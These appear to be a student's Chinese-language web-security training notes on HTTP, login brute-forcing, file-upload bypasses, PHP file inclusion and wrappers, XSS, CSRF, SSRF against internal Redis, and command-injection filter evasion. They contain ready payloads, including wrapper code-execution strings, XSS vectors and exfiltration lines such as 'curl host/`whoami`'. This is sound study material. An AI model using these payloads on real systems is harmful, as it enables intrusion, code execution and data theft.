大三末实训
前言
实训的笔记,记录一下,防止忘记
网站URL
统一资源定位器(uniform resource locator),用来定位服务器的资源
标准格式:protocol://hostname[:port]/path/[?query]
http默认80端口
%[ascii]:此外+也代表空格,常用来转换&字符或者其他的一些特殊字符
base64编码:http环境下传递较长的标识信息Hex编码:
协议HTTP
无状态的协议,通过cookie和session来进行相关的状态处理
(1)请求报文
①结构

User-Agent:产生请求的浏览器类型,一般可以随意指定,但是当服务器方面有限制则会受到影响,比如爬虫进行检查Accept:用户声明客户端可以处理的MIME类型,即文件类型Accept-Encoding:用于声明客户端能够理解的内容编码方式Accept-Language:用于声明客户端可以理解的自然语言Cookie:存放用户的身份凭证Content-Length:请求数据的长度,服务器端只会按照该字段进行长度解析,多余的截断。Referer:当前访问URL的上一个URL,用户从什么地方来到该页面的

②请求方法
GET/POST/CONNECT等等
GET:没有请求数据的部分,在URL中传输数据,由于URL长度限制,所以传输的数据也是有限制的。
POST:在请求数据部分进行数据传输,长度基本没有什么限制,注意设置Content-Type和Content-Length
(2)响应报文
描述服务器端的一些信息
①结构
Data:请求发送的时间和日期,GMT时间Server:告诉客户端服务器的名称和版本号Content-Type:响应正文的MIME类型Content-Length:响应正文的长度Connection:告诉客户端完成相应后的连接状态Content-Encoding:Web服务器告诉浏览器数据传输使用了那种压缩方法Last-Modified:实体报头域用于指示资源最后的修改日期和时间状态码:

- 200:请求成功
- 1XX:服务器收到请求,需要请求者继续执行操作
- 2XX:成功
- 3XX:重定向,需要进一步的操作用以完成请求。类似需要登录
- 4XX:客户端错误,请求包含语法错误或者无法完成请求
- 5XX:服务器端错误,服务器在处理请求的过程中发生了错误
等等,还有一些其他的
协议HTTPS
在HTTP下加入了SSL/TLS层,通过安全机制进行传输数据。握手过程是明文传输,来建立HTTPS连接

会话
利用cookie(客户端)和session(服务端)来进行保存会话状态,比如记住密码
客户端第一次发送数据给服务端时没有Cookie,服务器收到请求后,创建Session,之后通过Set-Cookie字段把Session ID以Cookie的形式告诉客户端。以后每次请求发送该Cookie到服务器,服务器即可识别。

关于Webshell
一个服务器权限
身份认证
通常爆破
(1)常见认证
Burpsuite中的Intruder模块有很多选项
可以设置需要爆破的地方,爆破方式,编码方式,爆破字典,是否跳转(状态码为302)等等
(2)Basic认证
常见admin:passwd等,关键词为:Authorization:Basic [xxxx],其中xxxx即为admin:passwd的相关编码,这个可以在Intruder->Payloads->Payload type选择Custom iterator。之后在Payload Options [Simple list]中设置下不同的字典即可,即自定义一个字段的不同位置数据的迭代爆破。
- 设置方式

设置字典
用户密码

中间冒号

字典

设置编码

取消特殊字符,这里即为
=的url编码
文件上传
(1)验证漏洞
客户端
JavaScript验证当发现不是从服务器返回的验证不通过信息,就可能是客户端本身的
JavaScript进行了验证,那么就可以在Burpsuite发包的过程对文件进行修改,比如改掉文件名称等。或者直接修改本地网页中的
JavaScript代码,或者使用插件禁用掉JavaScript代码脚本服务端验证
MIME限制:常见的服务器对Content-Type进行解析限制文件内容验证:通常验证文件头,可以修改其文件头,或者将一句话木马放入到对应的文件内容最后
JPG:FF D8 FF E0 00 10 4A 46 49 46GIF:47 49 46 38 39 61(GIF89a)PNG:89 50 4E 47文件扩展名验证:验证文件的后缀,黑名单白名单之类的
大小写绕过(
Windows下大小写不敏感)windows下的文件名后缀不规范(或者某些特殊字符)会被改掉,比如test.php....会被修改为test.php,但是这样就可以绕过验证了,实际还是执行的php文件。

如果只是替换后缀名,那么可以进行拓展后缀名绕过,比如
phphpp%00截断绕过:保存文件时可能会将文件名和目录进行拼接,那么就可以绕过(PHP<5.3.34)特殊可解析后缀绕过:
在某些环境(比如基于
ubuntu的apt-get按照的apache)中,会将某些特殊的文件名后缀当作某一类文件进行解析,比如php3会被当作php解析可能是开发的时候历史遗留问题把

Apache的.htaccess绕过Apache里面有一个配置文件,xx.htacess可以用来写入Apache配置信息,用来改变当前目录以及子目录下的Apache的配置信息。需要如下条件:
运行
.htaccess生效Apache开启rewrite模块Apache配置文件为AllowOverride All(默认为None)
那么就可以尝试上传该文件
1
2
3<FilesMatch "sec.jpg">
SetHandler application/x-httpd-php
</FilesMatch>之后当前配置下生效的地方,
sec.jpg即可被解析为php
(2)服务器解析漏洞
Apache解析漏洞从右往左解析,
abc.php.ccc.aaa会被当作abc.php来进行解析(某些版本)IIS6.0解析漏洞(windows的中间件)
Nginx解析漏洞
c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)
文件下载
(1)利用
过滤规则不好,可以下载任意文件
- 获取站点源码
- 获取站点与中间件配置文件
- 获取应用与系统的配置文件

可利用的相关配置文件
Windows平台

Linux平台

(2)防御
- 文件保存到数据库,依据ID进行下载
- 参数过滤,不能目录穿越
文件包含
即include和require相关函数,将用户指定的文件包含进来。那么如果该文件中有php代码,则会被执行,其他的字符,则会被输出。不受到相关文件后缀,文件头之类的限制。
(1)函数解析
include:包含过程中如果出现错误,只会生成警告(E_WARNING),在include函数后面的代码还是会正常被执行require:包含过程中如果出现错误,会生成致命错误(E_COMPILE_ERROR)并且停止脚本运行,之后的代码都不包会被运行。include_once和require_once两个函数,如果文件已经包含,则不会再次被包含,防止相关函数重定义或者变量重新赋值。
(2)漏洞利用
通过PHP函数引入文件时,如果对文件名没有限制或者合理的验证,很容易执行到相关的漏洞php代码或者文件信息泄露。
1 |
|
①本地文件包含
即包含服务器本身的文件。
1 | 127.0.0.1/index.php?file=test.txt |
②远程文件包含
利用URL,使得网络中的可访问文件被包含,不过需要在php.ini中开启如下配置项
1 | allow_url_fopen = on(默认开启) |
如下
1 | 127.0.0.1/index.php?file=www.baidu.com |
(3)其他利用方式
①包含日志文件
- 利用原理
输入URL时,输入相关的php代码使之报错,随即就会将相关的报错信息输入到log中,那么就可以将php的相关代码输入到日志中,那么我们包含该日志就会执行到该代码。
1 | 127.0.0.1/index.php?file=<?php phpinfo(); ?> |

利用条件:
- 日志文件可读
- 知道日志文件的存储目录
常见的日志文件目录:

并且一般情况下日志存储目录会被修改,需要读取服务器的相关配置文件(httpd.conf,nginx.conf等),或者依据phpinfo()来获取。
相关的日志信息也可以被调整,限制。
②包含Session
条件:
Session中存在可控变量Session文件可以读写,并且知道存储路径
默认存储路径:

相关的index.php如下
1 |
|
输入username会记录Session,以序列化的形式存在,可以在php.ini中找到相关的保存路径

那么访问即可获得Session

这样就可以尝试将该文件使用文件包含的形式来执行代码。
(4)伪协议
使用伪协议可以访问PHP的相关文件描述符,从而进行读取解析文件。
①使用例子
比如有时候直接文件包含不能够打印结果,比如说某个test.php,内容如下
1 |
|
那么当include文件包含进入之后,解析PHP代码,只会输出aaaa,而不会输出flag{cccc}的内容,这时候就需要用到伪协议php://filert来将文件流包含进来,这样就会打印出test.php文件了

使用伪协议:
1 | php://filter/read=convert.base64-encode/resource=index.php |

Burpsuite解码

②各种伪协议
php://filter通常用来读取文件
php.ini:1
2allow_url_fopen=off/on
allow_url_include=off/onPOC:1
?file=php://filter/read=convert.base64-encode/resource=test.php
php://input将
POST请求的相关数据当作一个文件流输入进去,配合文件包含通常可以执行任意命令。php.ini:1
2allow_url_fopen=off/on
allow_url_include=onPOC:1
2?file=php://input
[POST DATA]<?php phpinfo(); ?>
zip://访问压缩包里的文件,访问到的文件结合文件包含函数就会被当作
php文件执行,从而实现任意代码执行。php.ini:1
2
3allow_url_fopen=off/on
allow_url_include=off/on
php >= 5.2需要注意的是只要是压缩包即可,后缀名无所谓。相同类型的还要
zlib://和bzip2://POC:#需要进行URL编码1
2zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\phpstudy_pro\WWW\test.zip%23test.php
phar://phar是用来打包生成php项目用的,可以用相关协议进行解析,其中涉及到很多东西,比较常见的就是zip打包访问以及序列化、反序列的东西。类似
zip://,可以访问zip中的文件,并且相对路径和绝对路径都可以。php.ini:1
2
3allow_url_fopen=off/on
allow_url_include=off/on
php >= 5.3POC:1
2?file=phar://zip.jpg/phpinfo.txt
?file=phar://D:\zip.jpg\phpinfo.txt
data://类似于
php://input,让用户控制文件的输入流。php.ini:1
2
3allow_url_fopen=on
allow_url_include=on
php >= 5.2POC:1
2
3
4
5
6data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text/plain,<?php phpinfo();
?file=data://text/plain;base64,[content]
?file=data:text/plain,<?php phpinfo();
?file=data:text/plain;base64,[content]
(5)防御
allow_url_include和allow_url_fopen最小权限化- 设置
open_basedir将php所能打开的文件限制在指定的目录树中 - 白名单限制包含文件,或者严格过滤
./\
漏洞SQL注入
了解基本原理,各种利用方式,盲注,时间盲注,布尔盲注,堆叠注入之类的,也差不多会,但是种类太多啦。而且感觉这种类型,工具比实际的感觉会好用一些。此外由于现今数据库很多都开始使用模型来获取制造SQL语句,很难利用了,所以笔记就没有怎么记录。
漏洞XSS
跨站脚本(Cross Site Scripting)攻击,为了不和CSS产生歧义,所以缩写为XSS。
攻击者可以在页面插入恶意脚本(JavaScript)代码,受害者访问页面时,浏览器解析执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
XSS即注入HTML代码
(1)种类
①存储型
较为持久,一般在留言板、用户发帖、用户回帖的版块中,一般类似如下三步:
- 插入留言:恶意代码数据存储到数据库中
- 查看留言:恶意代码数据从数据库中提取出来
- 内容在页面显示
DVWA的Low Security版本代码如下
1 |
|
那么就直接将恶意代码插入了数据库,不同的DVWA Security如下

之后在解析的时候
没有过滤的直接解析为HTML代码

过滤的信息被解析为相关的字符串

②反射型
插入的数据不存储和读取数据库,直接回显到页面上,通常需要诱导用户去点击触发漏洞的地方。
DVWA的Low Security版本代码如下
1 |
|
浏览器中解析如下所示

③DOM型
比较少见,通过修改页面中的DOM节点,与客户端上的JavaScript进行交互,不会与服务端进行交互,通常是document.write函数
1 |
|
没有写入其他的如下

当从URL加入其他的拼接字符,其结构点发生变化,写入了我们的JS代码

(2)危害攻击
- 钓鱼,可以伪造登录框和页面
- Cookie盗取
- 获取IP
- 站点重定向
BOM/DOM的操作- 获取客户端的页面信息,比如窃取邮件内容
XSS蠕虫,可以自我传播
(3)挖掘
输入输出点,有的转义、过滤、消毒的等需要处理
(4)触发漏洞
在
script标签插入1
<script>alert(1)</script>
在事件中插入
1
<IMG src=x onerror=javascript:alert(1);>
在该方式下,
src读取不到资源,就会触发后面的javascript代码,即alert(1)在协议中插入
1
<a href="javascript:alert(1);">点此查看链接</a>
点击这里就会跳转
href中进行执行javascript代码等等
▲XSS的Payload大全:
Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy (portswigger.net)
▲XSS的题目大全
(5)XSS攻击平台
firesunCN/BlueLotus_XSSReceiver (github.com),这个通常用来自定义payload,然后进行上线
Kali下的Beef,有很多的模块,社工弹窗等,还挺全
Cookie盗取
使用beef的hook.js使得客户端执行恶意的JS代码后,会在beef中收到一些信息,其中就可以提取相关网站的cookie,之后使用无痕模式,将Cookie在F12->App->Cookie->对应网站下,修改填入相关盗取的Cookie即可

(6)防御
①代码防御
在服务器的输入输出处理的时候使用过滤、编码、转移之类的,或者HttpOnly头来禁止JS代码读取Cookie。
②安全设备
WAF和IDS
③控制客户端输入规则
检测相关的输入
漏洞CSRF
CSRF(Cross Site Request Forgery),跨站点伪造请求。即攻击者在用户已经登录目标网站之后,诱导用户访问一个攻击者制造的攻击页面,利用用户身份对目标网站发起伪造用户身份操作的请求,相当于伪造用户。这个过程中没有盗取Cookie而是直接利用用户的Cookie来达到伪造用户身份的目的。

(1)种类
GET型
无保护情况
当只需要进行
URL提交即可完成功能,即只需要GET请求就能完成时。如下,只是利用该
URL传入参数,结合Cookie即可完成修改密码操作的时候。1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
这种情况就直接伪造一个链接,诱导用户点击该链接,从而触发一个目标网站
有
Referer在
Medium版本下的加了一行代码1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
即检测
Referer是否是服务器本身,SERVER_NAME表示运行脚本所在服务器的主机名。(如果只是浏览器输入URL访问的话,其Referer字段为空,链接的话则不会,会保存来源网站)所以这里我们就需要进行抓包伪造
Referer字段。有
token在
High版本下添加了1
2
3
4checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
//......
// Generate Anti-CSRF token
generateSessionToken();会检测用户传入的
token,这是一个随机值,每次网站检测完之后会重新生成,然后将新的token发还给用户。通常这种情况需要结合其他漏洞,比如
XSS来获取相关的token值,即变成了XSRF。1
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName(' user. token')[0].value
即加载当前的
csrf这个界面时,会弹出token值。当然,结合其他的手法可以直接获取token然后来伪造链接。
POST型
需要构造POC,在Burp suite中可以右键->Engagement tools->Generate CSRF Poc,这样可以生成一个form表单形式来发生POST请求,对应修改相关字段即可。
1 | <html> |
在添加input标签,然后添加对应需要的值即可
(2)利用
通常组合拳形式来XSRF

(3)防御
- 验证
Referer和token - 在
HTTP头部加入自定义属性验证 - 高危操作加入验证码
- 等等
漏洞SSRF
SSRF(Server-side Request Forgery)服务端请求伪造
比较常用的就是可以让服务器的相关敏感参数受到我们的控制,比如说我们可以传入一个URL让服务器去爬取,这个URL就是比较敏感的参数。
这样就可以绕过服务器的防火墙了。
(1)可能存在的SSRF
①功能服务
以下的就可能存在SSRF漏洞
- 请求远端资源
- 在线翻译
- 数据库内置功能
- 编码服务(?api=xxxx)
URL网址调用- 邮箱邮件
②关键参数
share、target、wap、url、sourceURL、imageURL、source、domain等
③关键函数
PHP:file_get_contents()fsockopen()curl_exec()fopen()
Python:urllib库http头注入requests库中默认跟随30x跳转
(2)利用
①相关协议
file:访问本地文件的协议httpdict:字典服务器协议,基于查询响应的TCP协议。查询目标服务端口,需要服务具备TCP回显功能
常见如下:
http:80https:433ftp:20/21mysql:3306telnet:23dns:53dhcp:67/68sshd:22nginx:80tomcat:8080sql server:1433oracle:1521smtp:25redis:6379
gopher:在HTTP协议之前的,在Internet上常见的协议,支持多行,常用来攻击内网。
②获取敏感文件
WindowsC:/windows/win.ini:保存系统配置文件
Linuxfile:///etc/passwd:获取账号密码file:///etc/hosts:本网段的内网IP
之后可以进行内网探测
③内网横向探测-WEB
A.首先获取内网IP
使用file协议:file:///etc/hosts,但是在虚拟机里不知道怎么获取到对应的docker的IP
这里假设本地搭建的虚拟机里面,docker和本虚拟机组成的一个子网

即子网中其他的docker的IP就是172.17.0.x
B.信息收集
爆破子网存活主机及端口
在BurpSuite中将包发到Intruder,然后添加$进行重放,由于是需要爆破多个位置,那么就使用Clusterbomb模式

之后在Payload上进行设置两个位置的爆破数值
第一个

第二个

开始攻击之后得到结果,依据对应的内容和长度来判断是否存在相关的服务

C.内网穿透
利用gopher协议来利用构造两个数据包
- 首先将第一个爬虫数据包抓取放到
Repeater
③内网横向探测-Redis-未授权
A.dict协议测试
1 | dict://172.17.0.2:6379/ |
返回如下OK即代表未授权即可访问,即没有密码

如果需要密码访问即如下

B.写入木马
1 | dict://172.17.0.2:6379/flushall |
XXE
命令执行
(1)常用函数
①eval()函数
1 | mixed eval(string $code); |
把字符串code当作PHP执行
代码不能包含打开/关闭
PHP tags,比如不能传入<?php echo "Hi"; ?>。但是可以利用闭合形式来关闭PHP再重新打开。比如1
echo "In PHP mode!"; ?> In HTML mode!<?php echo "Back in PHP mode!";
传入的必须是有效的
PHP代码,并且以分号;来进行语句分割,没有正常分割的话会导致一个parse error。
②assert函数
1 | bool assert(mixed $assertion[,string $description]) |
PHP中用来判断一个表达式是否成立,返回布尔值。
如果assertion为字符串,那么它会被assert()当作PHP代码来执行。
③preg_replace函数
1 | mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]]) |
对字符串进行正则处理。搜索subject中匹配pattern的部分,以replacement来进行替换。当$pattern参数中存在/e修饰符时,$replacement的值会被当作PHP代码执行。
PHP5.5.0开始,传入\e修饰符会产生E_DEPRECATED错误,但是还是可以生效。而PHP7.0.0开始,会产生E_WARNINIG错误,同时\e无法生效
如下代码,传入_=phpinfo();即可触发phpinfo函数
1 | echo preg_replace('/\s/e',$_POST[_],$str); |
④调用函数过滤不当
通常用在框架中,小程序很少
call_user_func()、call_user_func_array()、array_map()等几十个函数都可以调用其他函数的功能,其中第一个参数为调用的函数名称,如果这个函数名称可控,那么就可以调用任意函数。
1 | mixed call_user_func(callable $callback[,mixed $paramenter[,mixed $....]]) |
如下代码所示,传入_assert即可
1 | call_user_func($_POST[_],'phpinfo()'); |
⑤动态函数执行
可拼接字符串当作函数
1 | $a = 'a'.'s'.'s'.'e'.'r'.'t'; |
或者
1 | $_GET['a']($_POST[_]); |
那么传入a=assert和_=phpinfo();即可,但是不能传递eval。
⑥可用执行命令漏洞函数
string system(string $command[,int &$return_var])函数执行
command参数所指定的命令,并且输出执行结果string exec(string $command[,array &$output[,int &$return_var]])执行
command指定的命令string shell_exec(string $cmd)通过
shell环境执行命令,将完整的输出以字符串形式返回。void passthru(string $command[,int &$return_var])执行外部程序并且显示原始的输出
``反引号
利用
ls,会被当作系统命令执行,其实就是shell_exec()函数进行处理。void pcntl_exec(string $path[,array $args[,array $envs]])多进程处理扩展,需要额外进行安装才行。
resource popen(string $command,string $mode)打开一个指向进程的管道,该进程由给定的
command命令产生。resource proc_open(string $cmd,array $descriptorspec,array &$pipes[,string $cwd[,array $env[,array $other_options]]])更强大一些,但是需要指定更多的参数
bool ob_start([callback $output_callback[,int $chunk_size[,bool $erase]]])控制输出缓冲的,相当于另外开辟一片缓冲区,可通过
ob_end_flush来输出缓冲区可选参数
$output_callback被指定后,ob_flush/ob_clean或者类似的函数进行刷新时,会调用该回调函数,并且调用时输出缓冲区的内容会被当作参数去执行,并且返回一个新的缓冲区作为结果。
1 | system('whoami'); |
(2)绕过
- 命令方面
&、|、;、&&、||之类的
空格绕过
IFS,为shell的内置变量,用于分割字段,默认值为空(可当作空格、tab、换行)。1
cat${IFS}text
{}1
{cat,text}
tab1
cat%09text
重定向
1
cat<text
黑名单绕过
拼接
1
a=c;b=at;c=tex;d=t;$a$b ${c}${d}
使用环境变量
1
2
3echo ${SHELLOPTS}
echo ${SHELLOPTS:3:1}
{SHELLOPTS:3:1}at${IFS}text
使用空变量
1
cat t{x}ext
使用通配符
1
/bin/ca? tex?

使用反斜杠
1
ca\t tex\t

base64编码1
2echo t|base64
ca$(echo "dAo="|base -d) text
无回显绕过
使用
HTTP通道带出数据1
curl host/`whoami`

使用
DNS通道带出数据一样的
1
ping `whoami`.host
编码
1
curl hosts/$(whoami|base64)
(3)防御
正则表达式白名单、过滤
漏洞JAVA反序列化
从数据对象反序列化成内存对象的过程,主要是各种链子,有点困难,需要后续慢慢研究。